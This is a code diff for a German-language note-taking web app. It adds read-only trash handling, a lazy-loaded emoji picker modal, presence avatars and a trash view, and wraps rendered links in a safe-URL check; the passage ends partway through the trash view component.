|
||||||
className="hidden sm:inline-flex items-center gap-1 px-2 py-0.5 rounded-btn text-[11px] text-muted bg-panel border border-border"
|
|
||||||
title="Hat diese Notiz gerade geöffnet"
|
|
||||||
>
|
|
||||||
<Users className="w-3 h-3 text-accent" />
|
|
||||||
{otherPeople.map((p) => p.name).join(', ')}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
{/* Sharing Section */}
|
{/* Sharing Section */}
|
||||||
{doc && (() => {
|
{doc && !inTrash && (() => {
|
||||||
const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
|
const isOwner = doc.isOwner !== false && (doc.userId === currentUser?.id || !doc.userId || currentUser?.role === 'admin');
|
||||||
const sharesCount = doc.sharedWith?.length || 0;
|
const sharesCount = doc.sharedWith?.length || 0;
|
||||||
const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
|
const isShared = sharesCount > 0 || !isOwner || Boolean(doc.sharedFolderId);
|
||||||
@@ -844,7 +821,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
);
|
);
|
||||||
})()}
|
})()}
|
||||||
|
|
||||||
<button
|
{!inTrash && <button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={handleTogglePin}
|
onClick={handleTogglePin}
|
||||||
className={`btn-icon ${
|
className={`btn-icon ${
|
||||||
@@ -855,7 +832,7 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
|
title={doc?.isPinned ? 'Anheftung lösen' : 'Notiz anheften'}
|
||||||
>
|
>
|
||||||
<Pin className="w-3.5 h-3.5" />
|
<Pin className="w-3.5 h-3.5" />
|
||||||
</button>
|
</button>}
|
||||||
|
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
@@ -879,8 +856,26 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* In the trash: read-only with a way back */}
|
||||||
|
{inTrash && (
|
||||||
|
<div className="flex flex-wrap items-center gap-2 px-4 sm:px-6 py-2 bg-status-err/10 border-b border-status-err/25 text-status-err text-xs">
|
||||||
|
<Trash2 className="w-3.5 h-3.5 shrink-0" />
|
||||||
|
<span className="flex-1 min-w-0">Diese Notiz liegt im Papierkorb und ist schreibgeschützt.</span>
|
||||||
|
{onRestoreDoc && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onRestoreDoc(docId)}
|
||||||
|
className="btn-action h-11 sm:h-7 px-3 text-xs text-main inline-flex items-center gap-1.5"
|
||||||
|
>
|
||||||
|
<RotateCcw className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Wiederherstellen
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Read-only notification banner */}
|
{/* Read-only notification banner */}
|
||||||
{!canEdit && (
|
{!canEdit && !inTrash && (
|
||||||
<div className="flex items-center gap-2 px-4 sm:px-6 py-2 bg-status-warn/10 border-b border-status-warn/25 text-status-warn text-xs">
|
<div className="flex items-center gap-2 px-4 sm:px-6 py-2 bg-status-warn/10 border-b border-status-warn/25 text-status-warn text-xs">
|
||||||
<Lock className="w-3.5 h-3.5 shrink-0" />
|
<Lock className="w-3.5 h-3.5 shrink-0" />
|
||||||
<span>Dieses Dokument wurde schreibgeschützt mit dir geteilt (Nur Lesen).</span>
|
<span>Dieses Dokument wurde schreibgeschützt mit dir geteilt (Nur Lesen).</span>
|
||||||
@@ -1009,72 +1004,11 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
{doc?.icon || '📝'}
|
{doc?.icon || '📝'}
|
||||||
</button>
|
</button>
|
||||||
{showEmojiPicker && canEdit && (
|
{showEmojiPicker && canEdit && (
|
||||||
<div
|
<EmojiPickerModal
|
||||||
className="absolute left-0 mt-1 p-2 panel-surface shadow-lg border border-border rounded-card z-30 w-72 space-y-2"
|
currentIcon={doc?.icon}
|
||||||
onClick={(e) => e.stopPropagation()}
|
onSelectEmoji={handleSelectIcon}
|
||||||
>
|
onClose={() => setShowEmojiPicker(false)}
|
||||||
<div className="relative">
|
/>
|
||||||
<Search className="w-3.5 h-3.5 text-faint absolute left-2 top-1/2 -translate-y-1/2" />
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
autoFocus
|
|
||||||
value={emojiSearch}
|
|
||||||
onChange={(e) => setEmojiSearch(e.target.value)}
|
|
||||||
placeholder="Icon suchen oder Emoji eingeben…"
|
|
||||||
className="input-field w-full pl-7 pr-2 py-1 text-xs"
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
{doc?.icon && (
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => {
|
|
||||||
handleSelectIcon('');
|
|
||||||
setShowEmojiPicker(false);
|
|
||||||
setEmojiSearch('');
|
|
||||||
}}
|
|
||||||
className="w-full text-left px-2 py-1 text-status-warn/90 hover:bg-status-warn/10 rounded text-xs font-medium flex items-center gap-1.5 cursor-pointer"
|
|
||||||
>
|
|
||||||
<Trash2 className="w-3 h-3" />
|
|
||||||
<span>Icon entfernen</span>
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
{emojiSearch.trim() && (
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => {
|
|
||||||
handleSelectIcon(emojiSearch.trim());
|
|
||||||
setShowEmojiPicker(false);
|
|
||||||
setEmojiSearch('');
|
|
||||||
}}
|
|
||||||
className="w-full text-left px-2 py-1 bg-accent/10 hover:bg-accent/20 text-accent rounded text-xs font-medium flex items-center justify-between cursor-pointer"
|
|
||||||
>
|
|
||||||
<span>Eingabe als Icon nutzen</span>
|
|
||||||
<span className="text-base">{emojiSearch.trim()}</span>
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
<div className="max-h-48 overflow-y-auto grid grid-cols-6 gap-1 pr-1">
|
|
||||||
{filteredEmojis.map((item) => (
|
|
||||||
<button
|
|
||||||
key={item.emoji}
|
|
||||||
type="button"
|
|
||||||
onClick={() => {
|
|
||||||
handleSelectIcon(item.emoji);
|
|
||||||
setShowEmojiPicker(false);
|
|
||||||
setEmojiSearch('');
|
|
||||||
}}
|
|
||||||
className="p-1.5 rounded-btn hover:bg-panel-elevated text-lg flex items-center justify-center cursor-pointer transition-colors"
|
|
||||||
title={item.keywords}
|
|
||||||
>
|
|
||||||
{item.emoji}
|
|
||||||
</button>
|
|
||||||
))}
|
|
||||||
{filteredEmojis.length === 0 && (
|
|
||||||
<div className="col-span-6 text-center text-xs text-faint py-3">
|
|
||||||
Kein passendes Standard-Icon
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -1138,6 +1072,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
|
|||||||
onUndo={handleUndo}
|
onUndo={handleUndo}
|
||||||
onRedo={handleRedo}
|
onRedo={handleRedo}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
|
{onOpenDocBlock && !inTrash && <BacklinksSection docId={docId} title={title} onOpen={onOpenDocBlock} />}
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -0,0 +1,196 @@
|
|||||||
|
import React, { Suspense, useEffect, useRef, useState } from 'react';
|
||||||
|
import { X, Trash2, Loader2 } from 'lucide-react';
|
||||||
|
import type { EmojiClickData } from 'emoji-picker-react';
|
||||||
|
import { Categories, EmojiStyle, Theme, SuggestionMode } from 'emoji-picker-react';
|
||||||
|
import { useKeyboardInset } from '../../lib/useKeyboardInset';
|
||||||
|
|
||||||
|
// Lazy-load emoji-picker-react so the main bundle size stays small
|
||||||
|
const EmojiPicker = React.lazy(() => import('emoji-picker-react'));
|
||||||
|
|
||||||
|
// The library's own "recently used" category (stored by it) is the only recent list; a second bar
|
||||||
|
// would cost height on phones. Category names in German.
|
||||||
|
const CATEGORIES = [
|
||||||
|
{ category: Categories.SUGGESTED, name: 'Zuletzt verwendet' },
|
||||||
|
{ category: Categories.SMILEYS_PEOPLE, name: 'Smileys & Personen' },
|
||||||
|
{ category: Categories.ANIMALS_NATURE, name: 'Tiere & Natur' },
|
||||||
|
{ category: Categories.FOOD_DRINK, name: 'Essen & Trinken' },
|
||||||
|
{ category: Categories.TRAVEL_PLACES, name: 'Reisen & Orte' },
|
||||||
|
{ category: Categories.ACTIVITIES, name: 'Aktivitäten' },
|
||||||
|
{ category: Categories.OBJECTS, name: 'Objekte' },
|
||||||
|
{ category: Categories.SYMBOLS, name: 'Symbole' },
|
||||||
|
{ category: Categories.FLAGS, name: 'Flaggen' },
|
||||||
|
];
|
||||||
|
|
||||||
|
interface EmojiPickerModalProps {
|
||||||
|
currentIcon?: string;
|
||||||
|
onSelectEmoji: (emoji: string) => void;
|
||||||
|
onClose: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const EmojiPickerModal: React.FC<EmojiPickerModalProps> = ({
|
||||||
|
currentIcon,
|
||||||
|
onSelectEmoji,
|
||||||
|
onClose,
|
||||||
|
}) => {
|
||||||
|
const { inset, visibleHeight } = useKeyboardInset();
|
||||||
|
const isPhone = typeof window !== 'undefined' && window.innerWidth < 640;
|
||||||
|
// On phones the picker shrinks with the keyboard so search field and results stay visible
|
||||||
|
const pickerHeight = isPhone ? Math.max(200, Math.min(350, visibleHeight - 110)) : 350;
|
||||||
|
const [isDark, setIsDark] = useState<boolean>(() =>
|
||||||
|
typeof document !== 'undefined'
|
||||||
|
? document.documentElement.classList.contains('dark')
|
||||||
|
: true
|
||||||
|
);
|
||||||
|
|
||||||
|
const containerRef = useRef<HTMLDivElement>(null);
|
||||||
|
|
||||||
|
// Sync theme changes
|
||||||
|
useEffect(() => {
|
||||||
|
const observer = new MutationObserver(() => {
|
||||||
|
setIsDark(document.documentElement.classList.contains('dark'));
|
||||||
|
});
|
||||||
|
observer.observe(document.documentElement, {
|
||||||
|
attributes: true,
|
||||||
|
attributeFilter: ['class', 'data-theme'],
|
||||||
|
});
|
||||||
|
return () => observer.disconnect();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Close on Escape or click outside (desktop popover)
|
||||||
|
useEffect(() => {
|
||||||
|
const handleKeyDown = (e: KeyboardEvent) => {
|
||||||
|
if (e.key === 'Escape') {
|
||||||
|
e.preventDefault();
|
||||||
|
onClose();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleClickOutside = (e: MouseEvent) => {
|
||||||
|
if (
|
||||||
|
containerRef.current &&
|
||||||
|
!containerRef.current.contains(e.target as Node)
|
||||||
|
) {
|
||||||
|
onClose();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.addEventListener('keydown', handleKeyDown);
|
||||||
|
document.addEventListener('mousedown', handleClickOutside);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('keydown', handleKeyDown);
|
||||||
|
document.removeEventListener('mousedown', handleClickOutside);
|
||||||
|
};
|
||||||
|
}, [onClose]);
|
||||||
|
|
||||||
|
const handlePick = (emoji: string) => {
|
||||||
|
onSelectEmoji(emoji);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePickerEmojiClick = (emojiData: EmojiClickData) => {
|
||||||
|
handlePick(emojiData.emoji);
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<>
|
||||||
|
{/* Mobile Backdrop (< 640px) */}
|
||||||
|
<div
|
||||||
|
className="fixed inset-0 bg-black/60 z-40 sm:hidden backdrop-blur-xs"
|
||||||
|
onClick={onClose}
|
||||||
|
aria-hidden="true"
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Main Container: Mobile Bottom-Sheet (<640px) & Desktop Popover (>=640px) */}
|
||||||
|
<div
|
||||||
|
ref={containerRef}
|
||||||
|
className="
|
||||||
|
fixed inset-x-0 bottom-[var(--kb-inset)] z-50 rounded-t-2xl max-h-[var(--vv-max)] bg-panel border-t border-border shadow-2xl flex flex-col p-3 space-y-3
|
||||||
|
sm:absolute sm:inset-auto sm:left-0 sm:top-full sm:mt-1 sm:z-40 sm:w-[360px] sm:max-h-[520px] sm:rounded-card sm:border sm:border-border sm:shadow-xl
|
||||||
|
"
|
||||||
|
style={
|
||||||
|
{
|
||||||
|
// Inject MindSift CSS variables into emoji-picker-react for seamless theming
|
||||||
|
'--epr-bg-color': 'var(--bg-panel)',
|
||||||
|
'--epr-category-label-bg-color': 'var(--bg-panel)',
|
||||||
|
'--epr-picker-border-color': 'var(--border-color)',
|
||||||
|
'--epr-text-color': 'var(--text-main)',
|
||||||
|
'--epr-search-input-bg-color': 'var(--bg-app)',
|
||||||
|
'--epr-search-input-bg-color-active': 'var(--bg-panel-elevated)',
|
||||||
|
'--epr-hover-bg-color': 'var(--bg-panel-elevated)',
|
||||||
|
'--epr-focus-bg-color': 'var(--bg-panel-elevated)',
|
||||||
|
'--epr-highlight-color': 'var(--accent-primary)',
|
||||||
|
'--epr-category-icon-active-color': 'var(--accent-primary)',
|
||||||
|
'--kb-inset': `${inset}px`,
|
||||||
|
'--vv-max': `${Math.round(visibleHeight * 0.9)}px`,
|
||||||
|
} as React.CSSProperties
|
||||||
|
}
|
||||||
|
>
|
||||||
|
{/* Mobile handle indicator */}
|
||||||
|
<div className="w-10 h-1 bg-border rounded-full mx-auto sm:hidden shrink-0" />
|
||||||
|
|
||||||
|
{/* Top Header: Title, Actions & Close */}
|
||||||
|
<div className="flex items-center justify-between gap-2 shrink-0 border-b border-border pb-2">
|
||||||
|
<div className="flex items-center gap-1.5 text-xs font-semibold text-main">
|
||||||
|
<span>Icon auswählen</span>
|
||||||
|
{currentIcon && (
|
||||||
|
<span className="text-base leading-none ml-1">{currentIcon}</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="flex items-center gap-1">
|
||||||
|
{currentIcon && (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => onSelectEmoji('')}
|
||||||
|
className="h-11 sm:h-7 px-3 sm:px-2 rounded text-xs font-medium text-status-err hover:bg-status-err/10 flex items-center gap-1 transition-colors cursor-pointer"
|
||||||
|
title="Icon entfernen"
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
<span className="hidden sm:inline">Entfernen</span>
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={onClose}
|
||||||
|
className="w-11 h-11 sm:w-7 sm:h-7 rounded flex items-center justify-center text-muted hover:text-main hover:bg-panel-elevated transition-colors cursor-pointer"
|
||||||
|
title="Schließen"
|
||||||
|
aria-label="Schließen"
|
||||||
|
>
|
||||||
|
<X className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Full Emoji Catalog via emoji-picker-react */}
|
||||||
|
<div className="flex-1 min-h-0 overflow-hidden rounded mindsift-emoji-picker">
|
||||||
|
<Suspense
|
||||||
|
fallback={
|
||||||
|
<div className="h-64 flex flex-col items-center justify-center gap-2 text-xs text-muted">
|
||||||
|
<Loader2 className="w-5 h-5 animate-spin text-accent" />
|
||||||
|
<span>Emoji-Katalog wird geladen…</span>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<EmojiPicker
|
||||||
|
onEmojiClick={handlePickerEmojiClick}
|
||||||
|
autoFocusSearch={true}
|
||||||
|
theme={isDark ? Theme.DARK : Theme.LIGHT}
|
||||||
|
emojiStyle={EmojiStyle.NATIVE}
|
||||||
|
suggestedEmojisMode={SuggestionMode.RECENT}
|
||||||
|
searchPlaceholder="Emoji suchen…"
|
||||||
|
searchPlaceHolder="Emoji suchen…"
|
||||||
|
width="100%"
|
||||||
|
height={`${pickerHeight}px`}
|
||||||
|
categories={CATEGORIES as any}
|
||||||
|
previewConfig={{
|
||||||
|
showPreview: false,
|
||||||
|
}}
|
||||||
|
skinTonesDisabled={false}
|
||||||
|
lazyLoadEmojis={true}
|
||||||
|
/>
|
||||||
|
</Suspense>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -25,6 +25,7 @@ import { DocumentBlock, BlockType } from '../../lib/types';
|
|||||||
import { LinkModal } from './LinkModal';
|
import { LinkModal } from './LinkModal';
|
||||||
import { renderInlineMarkdown } from '../../lib/markdown';
|
import { renderInlineMarkdown } from '../../lib/markdown';
|
||||||
import { api } from '../../lib/api';
|
import { api } from '../../lib/api';
|
||||||
|
import { safeHref } from '../../lib/safeUrl';
|
||||||
|
|
||||||
export interface SlashCommand {
|
export interface SlashCommand {
|
||||||
type: BlockType | 'link';
|
type: BlockType | 'link';
|
||||||
@@ -62,6 +63,7 @@ export interface OutlinerBlockProps {
|
|||||||
onIndentBlock: (blockId: string, delta: 1 | -1) => void;
|
onIndentBlock: (blockId: string, delta: 1 | -1) => void;
|
||||||
onNavigateFocus: (blockId: string, direction: 'up' | 'down') => void;
|
onNavigateFocus: (blockId: string, direction: 'up' | 'down') => void;
|
||||||
onFocusBlock?: (blockId: string) => void;
|
onFocusBlock?: (blockId: string) => void;
|
||||||
|
onBlurBlock?: (blockId: string) => void;
|
||||||
onOpenTask?: (taskId: string) => void;
|
onOpenTask?: (taskId: string) => void;
|
||||||
onTagClick?: (tag: string) => void;
|
onTagClick?: (tag: string) => void;
|
||||||
onWikiLinkClick?: (pageTitle: string) => void;
|
onWikiLinkClick?: (pageTitle: string) => void;
|
||||||
@@ -96,7 +98,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
block,
|
block,
|
||||||
index,
|
index,
|
||||||
isLast,
|
isLast,
|
||||||
maxAllowedLevel,
|
|
||||||
hasChildren,
|
hasChildren,
|
||||||
isFocused,
|
isFocused,
|
||||||
canEdit,
|
canEdit,
|
||||||
@@ -109,6 +110,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
onIndentBlock,
|
onIndentBlock,
|
||||||
onNavigateFocus,
|
onNavigateFocus,
|
||||||
onFocusBlock,
|
onFocusBlock,
|
||||||
|
onBlurBlock,
|
||||||
onOpenTask,
|
onOpenTask,
|
||||||
onTagClick,
|
onTagClick,
|
||||||
onWikiLinkClick,
|
onWikiLinkClick,
|
||||||
@@ -288,8 +290,25 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
window.addEventListener('resize', adjustHeight);
|
window.addEventListener('resize', adjustHeight);
|
||||||
return () => window.removeEventListener('resize', adjustHeight);
|
// The field can be measured while hidden (phone layout shows the editor only after selecting a note);
|
||||||
}, [adjustHeight]);
|
// measure again whenever its width changes
|
||||||
|
const el = textareaRef.current;
|
||||||
|
let lastWidth = el?.clientWidth ?? 0;
|
||||||
|
const observer =
|
||||||
|
el && typeof ResizeObserver !== 'undefined'
|
||||||
|
? new ResizeObserver(() => {
|
||||||
|
if (el.clientWidth !== lastWidth) {
|
||||||
|
lastWidth = el.clientWidth;
|
||||||
|
adjustHeight();
|
||||||
|
}
|
||||||
|
})
|
||||||
|
: null;
|
||||||
|
if (el) observer?.observe(el);
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('resize', adjustHeight);
|
||||||
|
observer?.disconnect();
|
||||||
|
};
|
||||||
|
}, [adjustHeight, block.type]);
|
||||||
|
|
||||||
const filteredSlashCommands = useMemo(() => {
|
const filteredSlashCommands = useMemo(() => {
|
||||||
if (slashSearch === null) return [];
|
if (slashSearch === null) return [];
|
||||||
@@ -392,6 +411,7 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
const handleBlur = () => {
|
const handleBlur = () => {
|
||||||
isFocusedRef.current = false;
|
isFocusedRef.current = false;
|
||||||
setIsLocallyFocused(false);
|
setIsLocallyFocused(false);
|
||||||
|
onBlurBlock?.(block.id);
|
||||||
if (isPastingRef.current) {
|
if (isPastingRef.current) {
|
||||||
isPastingRef.current = false;
|
isPastingRef.current = false;
|
||||||
return;
|
return;
|
||||||
@@ -651,16 +671,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{/* Indentation Guide Line */}
|
|
||||||
{visualLevel > 0 &&
|
|
||||||
Array.from({ length: visualLevel }).map((_, lvlIdx) => (
|
|
||||||
<div
|
|
||||||
key={lvlIdx}
|
|
||||||
className="pointer-events-none absolute top-0 bottom-0 w-px border-l border-border"
|
|
||||||
style={{ left: `${lvlIdx * 22 + 12}px` }}
|
|
||||||
/>
|
|
||||||
))}
|
|
||||||
|
|
||||||
{/* Bullet Controls: Collapse Toggle & Bullet (Drag-Handle & Zoom) / Checkbox */}
|
{/* Bullet Controls: Collapse Toggle & Bullet (Drag-Handle & Zoom) / Checkbox */}
|
||||||
<div className="flex items-center gap-0.5 pt-1 select-none shrink-0">
|
<div className="flex items-center gap-0.5 pt-1 select-none shrink-0">
|
||||||
{hasChildren ? (
|
{hasChildren ? (
|
||||||
@@ -992,9 +1002,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
||||||
if (mdMatch) {
|
if (mdMatch && safeHref(mdMatch[2])) {
|
||||||
const label = mdMatch[1];
|
const label = mdMatch[1];
|
||||||
const url = mdMatch[2];
|
const url = safeHref(mdMatch[2]) as string;
|
||||||
return (
|
return (
|
||||||
<a
|
<a
|
||||||
key={idx}
|
key={idx}
|
||||||
@@ -1009,11 +1019,11 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
|||||||
</a>
|
</a>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (/^https?:\/\//.test(part)) {
|
if (/^https?:\/\//.test(part) && safeHref(part)) {
|
||||||
return (
|
return (
|
||||||
<a
|
<a
|
||||||
key={idx}
|
key={idx}
|
||||||
href={part}
|
href={safeHref(part) as string}
|
||||||
target="_blank"
|
target="_blank"
|
||||||
rel="noopener noreferrer"
|
rel="noopener noreferrer"
|
||||||
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
||||||
|
|||||||
@@ -67,6 +67,12 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
|||||||
const [draggedIndex, setDraggedIndex] = useState<number | null>(null);
|
const [draggedIndex, setDraggedIndex] = useState<number | null>(null);
|
||||||
const [dragOverIndex, setDragOverIndex] = useState<number | null>(null);
|
const [dragOverIndex, setDragOverIndex] = useState<number | null>(null);
|
||||||
|
|
||||||
|
// Leaving a block (click into empty space) must drop its focus highlight; a focus move to
|
||||||
|
// another block has already set the new id, so only clear if it's still this one
|
||||||
|
const handleBlurBlock = useCallback((blockId: string) => {
|
||||||
|
setFocusedBlockId((cur) => (cur === blockId ? null : cur));
|
||||||
|
}, []);
|
||||||
|
|
||||||
const textareaMapRef = useRef<Map<string, HTMLTextAreaElement>>(new Map());
|
const textareaMapRef = useRef<Map<string, HTMLTextAreaElement>>(new Map());
|
||||||
const pendingFocusRef = useRef<{ blockId: string; cursor: 'start' | 'end' | 'select' | number } | null>(null);
|
const pendingFocusRef = useRef<{ blockId: string; cursor: 'start' | 'end' | 'select' | number } | null>(null);
|
||||||
|
|
||||||
@@ -396,7 +402,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
|||||||
|
|
||||||
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
|
// Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
|
||||||
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
|
const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
|
||||||
const numMatch = strippedLine.match(/^\d+[\.\)]\s+(.*)$/);
|
const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
|
||||||
if (bulletMatch || numMatch) {
|
if (bulletMatch || numMatch) {
|
||||||
pushCurrentItem();
|
pushCurrentItem();
|
||||||
afterHeading = false;
|
afterHeading = false;
|
||||||
@@ -785,6 +791,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
|
|||||||
onIndentBlock={handleIndentBlock}
|
onIndentBlock={handleIndentBlock}
|
||||||
onNavigateFocus={handleNavigateFocus}
|
onNavigateFocus={handleNavigateFocus}
|
||||||
onFocusBlock={setFocusedBlockId}
|
onFocusBlock={setFocusedBlockId}
|
||||||
|
onBlurBlock={handleBlurBlock}
|
||||||
onOpenTask={onOpenTask}
|
onOpenTask={onOpenTask}
|
||||||
onTagClick={onTagClick}
|
onTagClick={onTagClick}
|
||||||
onWikiLinkClick={onWikiLinkClick}
|
onWikiLinkClick={onWikiLinkClick}
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { UserAvatar } from '../../components/UserAvatar';
|
||||||
|
import { AvatarStack } from '../../components/AvatarStack';
|
||||||
|
import { Presence } from '../../lib/docSync/transport';
|
||||||
|
|
||||||
|
const MAX_VISIBLE = 3;
|
||||||
|
|
||||||
|
interface PresenceAvatarsProps {
|
||||||
|
people: Presence[];
|
||||||
|
avatars: Map<string, string>; // userId -> avatarUrl
|
||||||
|
}
|
||||||
|
|
||||||
|
// Who else has the note open: the shared AvatarStack plus the full list on hover / keyboard focus
|
||||||
|
export const PresenceAvatars: React.FC<PresenceAvatarsProps> = ({ people, avatars }) => {
|
||||||
|
if (people.length === 0) return null;
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
className="group/presence relative flex items-center outline-none"
|
||||||
|
tabIndex={0}
|
||||||
|
aria-label={`Gerade online: ${people.map((p) => p.name).join(', ')}`}
|
||||||
|
>
|
||||||
|
<AvatarStack
|
||||||
|
people={people.map((p) => ({ id: p.userId, name: p.name, avatarUrl: avatars.get(p.userId) }))}
|
||||||
|
max={MAX_VISIBLE}
|
||||||
|
/>
|
||||||
|
|
||||||
|
<div className="invisible opacity-0 group-hover/presence:visible group-hover/presence:opacity-100 group-focus/presence:visible group-focus/presence:opacity-100 transition-opacity absolute right-0 top-full mt-1.5 z-30 min-w-[11rem] max-w-[16rem] p-1.5 rounded-card bg-panel border border-border shadow-lg">
|
||||||
|
<div className="px-1.5 pb-1 text-[10px] uppercase tracking-wide text-faint">Gerade online</div>
|
||||||
|
{people.map((p) => (
|
||||||
|
<div key={p.userId} className="flex items-center gap-2 px-1.5 py-1 text-xs text-main">
|
||||||
|
<span className="relative">
|
||||||
|
<UserAvatar name={p.name} avatarUrl={avatars.get(p.userId) || ''} size="xs" />
|
||||||
|
<span className="absolute -bottom-0.5 -right-0.5 w-2 h-2 rounded-full bg-status-ok ring-2 ring-[var(--bg-panel)]" />
|
||||||
|
</span>
|
||||||
|
<span className="truncate">{p.name}</span>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,141 @@
|
|||||||
|
import React, { useState } from 'react';
|
||||||
|
import { ArrowLeft, Folder, RotateCcw, Trash2 } from 'lucide-react';
|
||||||
|
import { TrashedDocument } from '../../lib/types';
|
||||||
|
import { CountBadge } from '../../components/CountBadge';
|
||||||
|
|
||||||
|
interface TrashViewProps {
|
||||||
|
items: TrashedDocument[];
|
||||||
|
onOpen: (docId: string) => void;
|
||||||
|
onRestore: (docId: string) => Promise<void>;
|
||||||
|
onPurge: (docId: string) => Promise<void>;
|
||||||
|
onEmpty: () => Promise<void>;
|
||||||
|
onBackMobile: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const formatDeletedAt = (iso: string) => {
|
||||||
|
const d = new Date(iso);
|
||||||
|
if (Number.isNaN(d.getTime())) return '';
|
||||||
|
return d.toLocaleString('de-DE', { day: '2-digit', month: '2-digit', year: 'numeric', hour: '2-digit', minute: '2-digit' });
|
||||||
|
};
|
||||||
|
|
||||||
|
// Deleted notes: open read-only, restore, or delete for good. Deleting for good always takes a second
|
||||||
|
// tap on the same button ("Wirklich löschen?"), which works the same with mouse and touch.
|
||||||
|
export const TrashView: React.FC<TrashViewProps> = ({ items, onOpen, onRestore, onPurge, onEmpty, onBackMobile }) => {
|
||||||
|
const [confirmId, setConfirmId] = useState<string | null>(null);
|
||||||
|
const [busyId, setBusyId] = useState<string | null>(null);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const run = async (id: string, action: () => Promise<void>) => {
|
||||||
|
setBusyId(id);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
await action();
|
||||||
|
setConfirmId(null);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Aktion fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setBusyId(null);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
